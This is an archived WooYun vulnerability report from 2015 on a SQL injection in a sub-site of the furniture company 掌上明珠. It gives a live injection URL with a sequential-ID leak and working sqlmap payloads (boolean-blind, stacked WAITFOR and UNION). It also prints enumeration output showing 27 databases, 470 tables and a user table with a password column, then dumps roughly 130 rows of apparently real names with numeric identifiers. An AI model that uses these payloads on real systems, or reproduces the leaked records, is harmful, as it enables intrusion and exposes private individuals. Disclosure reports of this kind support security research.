当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129358

漏洞标题:掌上明珠某分站SQL注入,上万用户信息泄露(身份证,姓名,电话,家庭地址等)

相关厂商:掌上明珠家居

漏洞作者: 路人甲

提交时间:2015-07-27 10:14

修复时间:2015-09-10 10:16

公开时间:2015-09-10 10:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

掌上明珠某分站存在高危SQL注入,上万用户信息泄露(身份证,姓名,电话,家庭地址等)。。。

详细说明:

掌上明珠某分站存在高危SQL注入,上万用户信息泄露,直接SQLMAP 爆出大量数据库。。。。
注入链接:http://bpm.zsmz.com:806/print/guaranteeprintshow.aspx?cardid=384343
另外后面的cardid 每加1就是另一个用户 依次+1查询 泄露用户信息(身份证,姓名,电话,家庭地址)。。

1..jpg


4.jpg

1.png

6.jpg

5.png

32.png


11.jpg

7.jpg

9.png

<code>
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cardid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cardid=384343' AND 3859=3859 AND 'eUGT'='eUGT
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cardid=384343';WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 22 columns
Payload: cardid=-1981' UNION ALL SELECT 38,38,38,38,38,CHAR(113)+CHAR(118)+C
HAR(106)+CHAR(106)+CHAR(113)+CHAR(102)+CHAR(88)+CHAR(88)+CHAR(100)+CHAR(119)+CHA
R(75)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(106)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(1
20)+CHAR(113),38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38--
---
[22:31:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[22:31:18] [INFO] fetching database names
[22:31:18] [INFO] the SQL query used returns 28 entries
[22:31:18] [INFO] retrieved: BizDB
[22:31:19] [INFO] retrieved: CinderellaOA_WorkFlow
[22:31:19] [INFO] retrieved: CINDERELLAW2
[22:31:19] [INFO] retrieved: d:\\\\
[22:31:19] [INFO] retrieved: dnt31
[22:31:19] [INFO] retrieved: e:\\\\uldb
[22:31:20] [INFO] retrieved: e:\\\\uu
[22:31:20] [INFO] retrieved: FM_STATIC
[22:31:20] [INFO] retrieved: iBAMDB
[22:31:20] [INFO] retrieved: JIXIAODB
[22:31:20] [INFO] retrieved: master
[22:31:21] [INFO] retrieved: MobileClient
[22:31:21] [INFO] retrieved: model
[22:31:21] [INFO] retrieved: msdb
[22:31:21] [INFO] retrieved: mz
[22:31:22] [INFO] retrieved: ReportServer
[22:31:22] [INFO] retrieved: ReportServerTempDB
[22:31:22] [INFO] retrieved: SurveyProject
[22:31:22] [INFO] retrieved: tempdb
[22:31:22] [INFO] retrieved: UltClientBF
[22:31:23] [INFO] retrieved: UltClientDB
[22:31:23] [INFO] retrieved: UltimusDB_0512
[22:31:23] [INFO] retrieved: UltimusDB_0512
[22:31:23] [INFO] retrieved: UltimusDB_Archive
[22:31:24] [INFO] retrieved: UltimusiBAM
[22:31:24] [INFO] retrieved: UltimusTest
[22:31:24] [INFO] retrieved: ULTSMS
[22:31:24] [INFO] retrieved: UPLOADLITE
available databases [27]:
[*] BizDB
[*] CinderellaOA_WorkFlow
[*] CINDERELLAW2
[*] d:\\
[*] dnt31
[*] e:\\uldb
[*] e:\\uu
[*] FM_STATIC
[*] iBAMDB
[*] JIXIAODB
[*] master
[*] MobileClient
[*] model
[*] msdb
[*] mz
[*] ReportServer
[*] ReportServerTempDB
[*] SurveyProject
[*] tempdb
[*] UltClientBF
[*] UltClientDB
[*] UltimusDB_0512
[*] UltimusDB_Archive
[*] UltimusiBAM
[*] UltimusTest
[*] ULTSMS
[*] UPLOADLITE
current user: 'sa'
current database: 'UltClientDB'
Database: UltClientDB
[470 tables]
+-------------------------------------+
| ABC_GX_TABLE |
| ABC_NO_TABLE |
| ABC_TRANSFER |
| ABC_USER_INFO |
| Acces_AboutUs |
| Acces_Infor |
| Acces_News |
| Acces_OrderInfor |
| Branch_lsz_syqk |
| CreativeSpace_InnovationArticle |
| CreativeSpace_InnovationComment |
| CreativeSpace_InnovationExpert |
| CreativeSpace_InnovationInfo |
| CreativeSpace_Innovationtyle |
| CreativeSpace_LXSQLCInfo |
| CreativeSpace_LXSQLCInfo |
| CreativeSpace_PrizeExchange |
| CreativeSpace_PrizeExchange |
| CreativeSpace_StormPrize |
| CreativeSpace_TianAn |
| CreativeSpace_XMYSLC_Employee |
| CreativeSpace_XMYSLC_Employee |
| CreativeSpace_XMYSLC_WCQK |
| CreativeSpace_employeeSms |
| CustMgrInfo |
| Eff_FactoryCalendar |
| Eff_Result |
| Eff_ReturnStep |
| Eff_StepStand |
| Eff_TaskOverDue |
| Eff_WorkTime |
| Hys_lsjl |
| Hys_message |
| Join_CROOTA |
| Join_CityInfo |
| Join_CompeteBrand |
| Join_IntentionClient |
| Join_IntentionStoresInfo |
| Join_NowStoresInfo |
| Join_PromotionTrends |
| Join_S_City |
| Join_S_Custom_District |
| Join_S_District |
| Join_S_Province |
| Join_StrangeClient |
| Join_Visit |
| Join_tempCityState |
| MarketingGarden_Article |
| MarketingGarden_Comment |
| MarketingGarden_File |
| MarketingGarden_Manage |
| MobileClient_Classification |
| MobileClient_Control |
| MobileClient_Process |
| MobileClient_StepControl |
| MobileClient_StepControl |
| NeedPicTb |
| Oper_AdsPublish |
| Oper_AnnualCostMain |
| Oper_AnnualOperationMain |
| Oper_AnnualSalesMain |
| Oper_BrandingPlan |
| Oper_BudgetStratege |
| Oper_City |
| Oper_CompetitorCompareFx |
| Oper_CompetitorCompareFx |
| Oper_CompetitorMain |
| Oper_District |
| Oper_EmpPerformanceSummary |
| Oper_EmpTrain |
| Oper_Expense |
| Oper_HRPlan |
| Oper_Inventory |
| Oper_MonthlySales |
| Oper_MonthlySummary |
| Oper_MonthlyWorkSummary |
| Oper_OtherPlans |
| Oper_OveralHRStrategy |
| Oper_OverallBrandStrategy |
| Oper_PricingStrategy |
| Oper_ProblemSolution |
| Oper_PromotionPlan |
| Oper_PromotionStrategy |
| Oper_PromotionSummary |
| Oper_Self |
| Oper_ServiceEnhanceStrategy |
| Oper_StoreImage |
| Oper_StoreImageStrategy |
| Oper_Syb |
| Oper_Syfx |
| Oper_TaskBreakDown |
| Oper_ThreeRollPlanMain |
| Oper_TrainPlan |
| Oper_WeeklyActivity |
| Oper_WeeklyMain |
| Oper_WeeklyProject |
| Oper_Zdlsqk |
| PI_ActualValue |
| PI_Basic |
| PI_PerformIndex |
| Pro_YXSB_BF |
| Pro_YXSB_BF |
| Pro_YXSB_Item |
| Proc_Attachments |
| Proc_CPXQ |
| Proc_CPXX |
| Proc_CPYF_Detail |
| Proc_CPYF_Detail |
| Proc_CPYF_YFRW |
| Proc_CXLLC_WLLC |
| Proc_CX_BranchPromotion_History |
| Proc_CX_BranchPromotion_History |
| Proc_CX_CPGH_Atta |
| Proc_CX_CPGH_Atta |
| Proc_CX_CPGH_Store_Desc |
| Proc_CX_CPGH_Store_Desc |
| Proc_CX_CPGH_Store_Sample |
| Proc_CX_FYBX |
| Proc_CX_HD |
| Proc_CX_Product |
| Proc_CX_WL11 |
| Proc_CX_WLName |
| Proc_CX_WLOtherInfor |
| Proc_CX_WLRequirement |
| Proc_CX_WL_Branch |
| Proc_CX_WL_Branch |
| Proc_CX_WL_Materials |
| Proc_CX_XC |
| Proc_DZCL |
| Proc_Enum |
| Proc_JDJL_ITEM |
| Proc_JDLC_Desc |
| Proc_JDLC_Desc |
| Proc_JDLC_StyleList |
| Proc_JD_DPQD |
| Proc_NewStore |
| Proc_Processes_DepartmentWork |
| Proc_Processes_Name |
| Proc_Processes_Role |
| Proc_Processes_Step |
| Proc_QDGL_JDJL_RewardInformation |
| Proc_QDGL_JDJL_RewardInformation |
| Proc_QDGL_KYFK |
| Proc_QDGL_QD |
| Proc_QDGL_SPFF_AccessoriesDetail |
| Proc_QDGL_SPFF_AccessoriesDetail |
| Proc_QDGL_SPFF_MatDetail |
| Proc_QDGL_ZXFK_CustomerInformation |
| Proc_QDGL_ZXFK_CustomerInformation |
| Proc_QDJC_CPCL |
| Proc_QDJC_DMSJ |
| Proc_QDJC_DMYS |
| Proc_QDJC_DPQD |
| Proc_QDJC_DPZG |
| Proc_QDJC_KYFK |
| Proc_QDJC_SPCL |
| Proc_QDJC_SPPF_SPQD |
| Proc_QDJC_SPPF_SPQD |
| Proc_QDJC_WLPF |
| Proc_QDJC_WLTH |
| Proc_QDJC_ZSJM |
| Proc_QDJC_ZXFK |
| Proc_QDJC_ZXJL |
| Proc_Receip_Config |
| Proc_Sync_BPM流程修改申请 |
| Proc_Sync_CXSLZJ |
| Proc_Sync_CXWLDJ |
| Proc_Sync_CXWLFHD |
| Proc_Sync_CXWLSJ |
| Proc_Sync_Copy_Of_装修支持 |
| Proc_Sync_Copy_Of_装修支持V2 |
| Proc_Sync_FGSZJ |
| Proc_Sync_JXFX |
| Proc_Sync_NewProcess2 |
| Proc_Sync_NewProcess2 |
| Proc_Sync_OEM产品数据创建流程 |
| Proc_Sync_ZLXXHZ |
| Proc_Sync_ZSJM_ |
| Proc_Sync_三年滚动发展规划 |
| Proc_Sync_下研发任务书 |
| Proc_Sync_专卖店整改流程 |
| Proc_Sync_专卖店运营流程 |
| Proc_Sync_举报事项流程 |
| Proc_Sync_产品下线流程 |
| Proc_Sync_产品和饰品陈列 |
| Proc_Sync_产品定额流程 |
| Proc_Sync_产品实样流程 |
| Proc_Sync_产品打样流程 |
| Proc_Sync_产品批量试制流程 |
| Proc_Sync_产品技术与定额流程 |
| Proc_Sync_产品技术与定额流程V2 |
| Proc_Sync_产品技术研讨流程 |
| Proc_Sync_产品推广流程 |
| Proc_Sync_产品规划 |
| Proc_Sync_产品规划V1 |
| Proc_Sync_产品设计流程 |
| Proc_Sync_产品试制流程 |
| Proc_Sync_产品配置变更流程 |
| Proc_Sync_产品陈列 |
| Proc_Sync_价格调整流程 |
| Proc_Sync_价格调整流程v1 |
| Proc_Sync_低易品申请流程 |
| Proc_Sync_供应链中心预算流程 |
| Proc_Sync_促销产品需求流程 |
| Proc_Sync_促销宣传 |
| Proc_Sync_促销平面v1 |
| Proc_Sync_促销广宣v1 |
| Proc_Sync_促销活动 |
| Proc_Sync_促销物料单据 |
| Proc_Sync_促销物料发货单 |
| Proc_Sync_促销物料数据 |
| Proc_Sync_促销物料采购发放流程V1 |
| Proc_Sync_关键任务流程 |
| Proc_Sync_内部差旅费报销 |
| Proc_Sync_分公司促销方案及费用申请流程v1 |
| Proc_Sync_分公司促销活动方案报销流程v1 |
| Proc_Sync_分公司促销活动方案签批和报审流程 |
| Proc_Sync_分公司促销活动方案签批和报审流程v1 |
| Proc_Sync_分公司促销活动方案签批和报审流程v2 |
| Proc_Sync_分公司促销活动签批流程 |
| Proc_Sync_分公司促销费用报销流程v1 |
| Proc_Sync_分公司费用报销 |
| Proc_Sync_创意空间流程 |
| Proc_Sync_创意空间流程V1 |
| Proc_Sync_加工问题反馈流程 |
| Proc_Sync_加工问题反馈流程V2 |
| Proc_Sync_原材料检验流程 |
| Proc_Sync_原材料申请放行流程 |
| Proc_Sync_原材料问题反馈改进流程 |
| Proc_Sync_原材料问题反馈改进流程V2 |
| Proc_Sync_原材料问题流程 |
| Proc_Sync_反馈信息处理流程 |
| Proc_Sync_发文流程申请流程 |
| Proc_Sync_发文申请流程 |
| Proc_Sync_发文申请流程V1 |
| Proc_Sync_叶强测试 |
| Proc_Sync_呆滞品处理流程 |
| Proc_Sync_周计划 |
| Proc_Sync_固定资产减少报废流程 |
| Proc_Sync_固定资产减少流程 |
| Proc_Sync_固定资产申请流程 |
| Proc_Sync_固定资产转移流程 |
| Proc_Sync_在线交流 |
| Proc_Sync_培训申请流程 |
| Proc_Sync_培训申请流程V2 |
| Proc_Sync_外观门头设计流程 |
| Proc_Sync_外观门头设计管理流程 |
| Proc_Sync_外门头设计及返款流程 |
| Proc_Sync_审计信箱流程 |
| Proc_Sync_宿舍申请流程 |
| Proc_Sync_工艺问题反馈与改进流程 |
| Proc_Sync_工艺问题反馈与改进流程V2 |
| Proc_Sync_常规物料申请 |
| Proc_Sync_常规物料申请流程 |
| Proc_Sync_常规物料申请流程V2 |
| Proc_Sync_平面文件设计流程 |
| Proc_Sync_年度促销产品规划 |
| Proc_Sync_床垫申报流程 |
| Proc_Sync_店铺取缔 |
| Proc_Sync_店铺取缔流程 |
| Proc_Sync_店铺整改 |
| Proc_Sync_店面设计 |
| Proc_Sync_店面验收 |
| Proc_Sync_建店奖励 |
| Proc_Sync_建店奖励V2 |
| Proc_Sync_建店奖励流程 |
| Proc_Sync_建店奖励流程V2 |
| Proc_Sync_建店流程 |
| Proc_Sync_建店流程V2 |
| Proc_Sync_开业反款 |
| Proc_Sync_开业支持流程 |
| Proc_Sync_开业支持流程V2 |
| Proc_Sync_开业爆破支持流程 |
| Proc_Sync_开业返款 |
| Proc_Sync_开业返款流程 |
| Proc_Sync_总公司费用报销 |
| Proc_Sync_总裁信箱 |
| Proc_Sync_总裁信箱流程2 |
| Proc_Sync_总裁信箱流程2 |
| Proc_Sync_总裁信箱流程V2 |
| Proc_Sync_总裁信箱流程V3 |
| Proc_Sync_总部促销活动方案签批和报审流程 |
| Proc_Sync_总部促销活动方案签批和报审流程v1 |
| Proc_Sync_总部借款流程v1 |
| Proc_Sync_总部差旅费报销流程v1 |
| Proc_Sync_总部费用报销流程v1 |
| Proc_Sync_成品下线确定流程 |
| Proc_Sync_投诉与反馈流程 |
| Proc_Sync_投诉与反馈流程v1 |
| Proc_Sync_招商加盟 |
| Proc_Sync_新产品价格制定流程 |
| Proc_Sync_新产品推广流程 |
| Proc_Sync_新产品研发流程 |
| Proc_Sync_新产品试生产流程 |
| Proc_Sync_新产品需求流程 |
| Proc_Sync_新系列模式店包装流程 |
| Proc_Sync_月总结 |
| Proc_Sync_权限申请流程 |
| Proc_Sync_测试2 |
| Proc_Sync_测试子流程触发 |
| Proc_Sync_测试摘要 |
| Proc_Sync_消费者投诉与反馈流程 |
| Proc_Sync_消费者投诉与反馈流程v1 |
| Proc_Sync_渠道建店流程 |
| Proc_Sync_渠道设计部内部审核流程 |
| Proc_Sync_爆破支持流程 |
| Proc_Sync_物料流程1 |
| Proc_Sync_物料流程1 |
| Proc_Sync_物料认证流程 |
| Proc_Sync_物料退货 |
| Proc_Sync_物料退货流程 |
| Proc_Sync_物料配发流程 |
| Proc_Sync_物料采购发放流程v1 |
| Proc_Sync_物料饰品配发流程 |
| Proc_Sync_理化检验流程 |
| Proc_Sync_理化检验流程V1 |
| Proc_Sync_申请权限流程 |
| Proc_Sync_电商退货流程 |
| Proc_Sync_确认物料流程 |
| Proc_Sync_立项申请表流程 |
| Proc_Sync_立项申请表流程V1 |
| Proc_Sync_系统权限异动流程 |
| Proc_Sync_系统问题反馈流程 |
| Proc_Sync_经营计划书 |
| Proc_Sync_绩效差距分析 |
| Proc_Sync_绩效差距分析流程 |
| Proc_Sync_绩效总结 |
| Proc_Sync_续签合同流程Z1 |
| Proc_Sync_营销中心预算流程 |
| Proc_Sync_营销分公司借款流程2 |
| Proc_Sync_营销分公司借款流程2 |
| Proc_Sync_营销分公司借款流程v1 |
| Proc_Sync_营销分公司差旅费报销 |
| Proc_Sync_营销分公司差旅费报销V1 |
| Proc_Sync_营销分公司差旅费报销V2 |
| Proc_Sync_营销分公司差旅费报销流程 |
| Proc_Sync_营销分公司报销流程 |
| Proc_Sync_营销驻内借款流程2 |
| Proc_Sync_营销驻内借款流程2 |
| Proc_Sync_营销驻内差旅费报销流程 |
| Proc_Sync_营销驻内报销流程 |
| Proc_Sync_装修支持 |
| Proc_Sync_装修支持V2 |
| Proc_Sync_装修物料配发 |
| Proc_Sync_装修监理 |
| Proc_Sync_装修返款 |
| Proc_Sync_装修返款流程 |
| Proc_Sync_触发呆滞品处理流程 |
| Proc_Sync_触发成品下线确定流程 |
| Proc_Sync_触发新产品价格制定流程 |
| Proc_Sync_触发新产品推广流程 |
| Proc_Sync_触发新产品研发流程 |
| Proc_Sync_触发新系列模式店包装处理流程 |
| Proc_Sync_订单数量变更 |
| Proc_Sync_订票申请流程 |
| Proc_Sync_评优申报流程 |
| Proc_Sync_评优申报流程V1 |
| Proc_Sync_质量分析 |
| Proc_Sync_费用报销 |
| Proc_Sync_运营差旅费报销 |
| Proc_Sync_运营报销 |
| Proc_Sync_运营绩效管理 |
| Proc_Sync_退换货流程 |
| Proc_Sync_退换货流程子表 |
| Proc_Sync_配件申请 |
| Proc_Sync_采购监督流程 |
| Proc_Sync_重点专卖店广告投入费用报销 |
| Proc_Sync_门头设计及返款流程 |
| Proc_Sync_集团总部借款流程 |
| Proc_Sync_集团总部借款流程v1 |
| Proc_Sync_集团总部差旅费报销流程 |
| Proc_Sync_集团总部差旅费报销流程v1 |
| Proc_Sync_集团总部费用报销流程 |
| Proc_Sync_集团总部费用报销流程v1 |
| Proc_Sync_项目验收申请流程 |
| Proc_Sync_项目验收申请流程V1 |
| Proc_Sync_预算管理流程 |
| Proc_Sync_预算调整流程 |
| Proc_Sync_饰品配发 |
| Proc_Sync_饰品配发流程 |
| Proc_Sync_饰品陈列 |
| Proc_TS_JBSWLC |
| Proc_TS_TSYFK |
| Proc_TS_XTWTFK |
| Proc_TableModel |
| Proc_XP_CPXXQD |
| Proc_XP_XCPJGZD |
| Proc_XP_XCPSSC |
| Proc_XP_XCPTG |
| Proc_XP_XCPXQ_Detail |
| Proc_XP_XCPXQ_Detail |
| Proc_XP_XCPYF_Detail |
| Proc_XP_XCPYF_Detail |
| Proc_ZXJL |
| Proc_showproduct_pic |
| Prod_BrandSequence |
| Prod_ChangLog |
| Prod_ClassifySequence |
| Prod_Expand |
| Prod_Image |
| Prod_Information |
| Prod_PartInformation |
| Prod_Peijian |
| Prod_RelatedProduct |
| Prod_SFBZ |
| Prod_SeriesSequence |
| Prod_ShoppingCart |
| Prod_V_ExpandField |
| Prod_V_Imgs |
| Prod_V_ProductInfo |
| Prod_V_ProductVision |
| Product_bjq_pj |
| Product_bjq_pj |
| Promotions |
| Query_FHSms |
| Query_FinanceAudit |
| REPORTDESIGN |
| Reservation |
| Sh_Fwjs_Item |
| Sh_Fwjs_Item |
| Sync_Customer |
| Sync_Inv |
| Sync_Material |
| Sync_MatstatusInfo |
| Sync_ProductDH |
| Sync_SalesBOM |
| Sync_WebOrderUser |
| Sync_fittings_period |
| Sync_merchant_party |
| Sync_merchant_store |
| Temp_Information_Else |
| Tmp_Customer |
| Tmp_Prod_Image |
| Tmp_Prod_Information |
| Tmp_Prod_PartInformation |
| Tmp_Product |
| V_Branch |
| V_JDReport2 |
| V_JDReport2 |
| V_Proc_Sync_CX |
| V_Proc_Sync_JD |
| V_Proc_Sync_TS |
| V_Proc_Sync_XCP |
| V_Prod_Info |
| V_User |
| View_Information |
| WF_SyncTask |
| Wx_wxzf_user |
| branchTravel |
| dayCounts |
| guaranteeCardItem |
| guaranteeCard_fwjs_pj |
| guaranteeCard_fwjs_pj |
| guaranteeCard_fwjs_pj |
| proc_ApprovalRecord |
| sequencesTable |
| smsTask |
| sur_MyQuestion |
| sur_Question |
| sysdiagrams |
| temp_CreativeSpace_InnovationExpert |
| temp_CreativeSpace_InnovationInfo |
| temp_CreativeSpace_Innovationtyle |
| temp_CreativeSpace_PrizeExchange |
| temp_CreativeSpace_PrizeExchange |
| temp_CreativeSpace_StormPrize |
| wx_product_add |
| zaixianjiaoliu_item |
| zaixianjiaoliu_item |
| zaixianjiaoliu_sustain |
+-------------------------------------+
Database: UltClientDB
Table: Sync_WebOrderUser
[21 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| ADDRESS | nvarchar |
| BOSS_NAME | nvarchar |
| BOSS_TEL | nvarchar |
| CREATE_TIME | float |
| EMAIL | nvarchar |
| MERCHANT_ID | nvarchar |
| MERCHANT_NAME | nvarchar |
| MOBILE | nvarchar |
| MODIFY_TIME | float |
| PASSWORD | nvarchar |
| QQ | nvarchar |
| SEND_ADDR | nvarchar |
| SEND_NAME | nvarchar |
| SEND_TEL | nvarchar |
| SEX | nvarchar |
| SHOPPER_NAME | nvarchar |
| SHOPPER_TEL | nvarchar |
| STATUS | nvarchar |
| USER_ID | nvarchar |
| USER_NAME | nvarchar |
| USER_TYPE | nvarchar |
+---------------+----------+
Table: ABC_GX_TABLE
[550 entries]
+-----------------------------+-----------+-------------------------+------------+
| ABC_id | ABC_gx_id | ABC_name | ABC_bpm_no |
+-----------------------------+-----------+-------------------------+------------+
| 11049722802|初春 | 213 | 初春 | MZ1021215A |
| 12008211795|单文荣 | 228 | 单文荣 | MZ1021506A |
| 12009743284|李淑梅 | 585 | 李淑梅 | MZ1020174A |
| 12014403328|杜国君 | 335 | 杜国君 | MZ1021022A |
| 12030405283|王雷 | 481 | 王雷 | MZ1022298A |
| 13000922794|杨志英 | 440 | 杨志英 | MZ1022892A |
| 13004162536|丁晓磊 | 36 | 丁晓磊 | MZ1020470A |
| 13007757251|秦胜霞 | 557 | 秦胜霞 | MZ1020503A |
| 13011015249|吴剑 | 526 | 吴剑 | MZ1020463A |
| 13013123412|陈涛 | 486 | 陈涛 | MZ1021748A |
| 13014470185|周正凤 | 34 | 周正凤 | MZ1021231A |
| 13015330792|刘占山 | 26 | 刘占山 | MZ1021120A |
| 13016544475|富国英 | 558 | 富国英 | MZ1020464A |
| 13016795440|于桂艳 | 321 | 于桂艳 | MZ1020434A |
| 13020135294|王杰 | 500 | 王杰 | MZ1020466A |
| 13020560136|张铁基 | 490 | 张铁基 | MZ1020468A |
| 13022930501|郑素云 | 484 | 郑素云 | MZ1022173A |
| 13025274120|杨洋 | 74 | 杨洋 | MZ1021971A |
| 13026672779|李常山 | 320 | 李常山 | MZ1020480A |
| 13028370818|白云 | 17 | 白云 | MZ1020439A |
| 13029021329|王连德 | 498 | 王连德 | MZ1021936A |
| 13031267680|杨亚军 | 571 | 杨亚军 | MZ1021507A |
| 13033743208|魏计朋 | 200 | 魏计朋 | MZ1021773A |
| 13033912176|杨书伶 | 19 | 杨书伶 | MZ1022299A |
| 13037485111|王丽娜 | 261 | 王丽娜 | MZ1022464A |
| 13040564308|赵向英 | 234 | 赵向英 | MZ1020485A |
| 13040664190|关秀杰 | 599 | 关秀杰 | MZ1021496A |
| 13041532205|赵永江 | 378 | 赵永江 | MZ1020478A |
| 13046372119|孙建社 | 478 | 孙建社 | MZ1022471A |
| 13051666747|王芳 | 282 | 王芳 | MZ1021121A |
| 13053618514|李彦甫 | 80 | 李彦甫 | MZ1022175A |
| 13066903275|王晓静 | 245 | 王晓静 | MZ1020455A |
| 13078047178|池电清 | 53 | 池电清 | MZ1022219A |
| 13079865438|陈素艳 | 550 | 陈素艳 | MZ1020108A |
| 13081332235|胡俊兵 | 493 | 胡俊兵 | MZ1022799A |
| 13082551420|靳杏敏 | 221 | 靳杏敏 | MZ1021117A |
| 13083387345|王杨 | 162 | 王杨 | MZ1020429A |
| 13083401921|贾德勇 | 251 | 贾德勇 | MZ1022209A |
| 13083451877|董全智 | 185 | 董全智 | MZ1022403A |
| 13083456166|强翠利 | 189 | 强翠利 | MZ1021559A |
| 13083596251|胡秀会 | 635 | 胡秀会 | MZ1020441A |
| 13083723987|郑浩 | 258 | 郑浩 | MZ1022798A |
| 13087328957|陈海亮 | 483 | 陈海亮 | MZ1022397A |
| 13087430124|高玉莲 | 482 | 高玉莲 | MZ1022316A |
| 13087466070|张君福 | 492 | 张君福 | MZ1021618A |
| 13087527377|高丽君 | 539 | 高丽君 | MZ1021209A |
| 13088841601|颜颖宁 | 523 | 颜颖宁 | MZ1021119A |
| 13088986382|李海涛 | 641 | 李海涛 | MZ1022995A |
| 13089114099|刘百岁 | 576 | 刘百岁 | MZ1022809A |
| 13089350172|吴建设 | 551 | 吴建设 | MZ1021157A |
| 13089890920|庞月芹 | 555 | 庞月芹 | MZ1022365A |
| 13089941012|刘宏艳 | 554 | 刘宏艳 | MZ1020449A |
| 13094381948|刘永宾 | 617 | 刘永宾 | MZ1021026A |
| 13095737439|王春霞 | 636 | 王春霞 | MZ1021739A |
| 13998011964|平泉县佳瑞佳家具广场 | 664 | 平泉县佳瑞佳家具广场 |
MZ1021640A |
| 13999530822|临西县旺多家具商场 | 721 | 临西县旺多家具商场 |
MZ1021224A |
| 14005266921|张海霞 | 310 | 张海霞 | MZ1021033A |
| 14005602729|刘芳 | 10 | 刘芳 | MZ1021696A |
| 14006312145|郭杰明 | 32 | 郭杰明 | MZ1022582A |
| 14007653960|高姜伟 | 59 | 高姜伟 | MZ1020250A |
| 14007929650|李清平 | 252 | 李清平 | MZ1021768A |
| 14008268916|郭贵祥 | 290 | 郭贵祥 | MZ1020252A |
| 14009355043|李利利 | 333 | 李利利 | MZ1020015A |
| 14010610535|孟兆杰 | 339 | 孟兆杰 | MZ1022418A |
| 14013082129|王温艳 | 313 | 王温艳 | MZ1022222A |
| 14013180973|杨素燕 | 275 | 杨素燕 | MZ1022211A |
| 14013489383|胡兴胜 | 522 | 胡兴胜 | MZ1021883A |
| 14014953965|李建林 | 390 | 李建林 | MZ1022302A |
| 14014968336|冀鑫 | 39 | 冀鑫 | MZ1021851A |
| 14015460810|马娟青 | 47 | 马娟青 | MZ1021923A |
| 14015515582|胡丽萍 | 178 | 胡丽萍 | MZ1020080A |
| 14015666872|林菊飞 | 323 | 林菊飞 | MZ1020009A |
| 14016018733|关伟 | 436 | 关伟 | MZ1022866A |
| 14016432305|李志勇 | 494 | 李志勇 | MZ1021237A |
| 14017233893|戎志文 | 578 | 戎志文 | MZ1022158A |
| 14017390156|刘文斌 | 600 | 刘文斌 | MZ1022131A |
| 14999445756|山西欧艺艾家商贸有限公司 | 536 | 山西欧艺艾家商贸有限公司
| MZ001740 |
| 15000379628|贾海霞 | 394 | 贾海霞 | MZ1021673A |
| 15000427097|王笛燃 | 118 | 王笛燃 | MZ1020785A |
| 15000972117|梁存林 | 518 | 梁存林 | MZ1020791A |
| 15001806878|王静 | 9 | 王静 | MZ1022443A |
| 15009099235|刘风驰 | 15 | 刘风驰 | MZ1020793A |
| 15010076305|陈光 | 520 | 陈光 | MZ1021952A |
| 15010144235|吕强 | 242 | 吕强 | MZ1022435A |
| 15013189402|吴淑芹 | 495 | 吴淑芹 | MZ1022485A |
| 15013943999|张全 | 172 | 张全 | MZ1021212A |
| 15018359688|陶思友 | 24 | 陶思友 | MZ1020451A |
| 15018540609|孙国华 | 156 | 孙国华 | MZ1021177A |
| 15018700378|吴金芳 | 292 | 吴金芳 | MZ1021571A |
| 15019154904|黄淑英 | 348 | 黄淑英 | MZ1021253A |
| 15021254958|刘良权 | 417 | 刘良权 | MZ1022732A |
| 15021336334|王小虎 | 512 | 王小虎 | MZ1021620A |
| 15021971346|王利刚 | 154 | 王利刚 | MZ1022537A |
| 15024773236|苑丽君 | 264 | 苑丽君 | MZ1022849A |
| 15024785314|孙万兵 | 325 | 孙万兵 | MZ1020620A |
| 15024811391|郭殿祥 | 346 | 郭殿祥 | MZ1021254A |
| 15024973456|崔耀先 | 461 | 崔耀先 | MZ1022816A |
| 15026133272|张艳敏 | 610 | 张艳敏 | MZ1020149A |
| 15026207697|吴秀华 | 614 | 吴秀华 | MZ1022788A |
| 15999753446|内蒙古恒瑞经贸有限责任公司 | 639 | 内蒙古恒瑞经贸有限责任公司
| MZ1020787A |
| 21016100642|汪福荣 | 55 | 汪福荣 | MZ1020729A |
| 21017464584|常勇 | 368 | 常勇 | MZ1022111A |
| 21033962207|李奎春 | 180 | 李奎春 | MZ1022789A |
| 21034172483|刘百顺 | 238 | 刘百顺 | MZ1020774A |
| 21034181947|张路 | 231 | 张路 | MZ1020777A |
| 21035942588|马桂香 | 513 | 马桂香 | MZ1020727A |
| 21037338933|唐丽艳 | 609 | 唐丽艳 | MZ1021657A |
| 22001413868|李秀芹 | 514 | 李秀芹 | MZ1020761A |
| 22002095491|潘艳梅 | 328 | 潘艳梅 | MZ1020762A |
| 22009357696|陈凯亮 | 535 | 陈凯亮 | MZ1022395A |
| 22014890334|赵玉玲 | 274 | 赵玉玲 | MZ1021336A |
| 22014898346|牛静宇 | 487 | 牛静宇 | MZ1022709A |
| 22015274537|李想 | 516 | 李想 | MZ1020763A |
| 22015594638|崔永芝 | 608 | 崔永芝 | MZ1020772A |
| 23017627790|宋会娜 | 250 | 宋会娜 | MZ1022236A |
| 23021431880|张红霞 | 527 | 张红霞 | MZ1022712A |
| 23021571850|姜林 | 27 | 姜林 | MZ1022541A |
| 23022839728|孙晓嘉 | 243 | 孙晓嘉 | MZ1022734A |
| 23024382759|王绍华 | 381 | 王绍华 | MZ1022129A |
| 23024797180|苏兆启 | 511 | 苏兆启 | MZ1020734A |
| 23024824199|王丹丹 | 525 | 王丹丹 | MZ1022310A |
| 23025188247|王邦义 | 595 | 王邦义 | MZ1022496A |
| 32049856368|张佩琴 | 170 | 张佩琴 | MZ1022323A |
| 32050310254|邱九江 | 318 | 邱九江 | MZ1021817A |
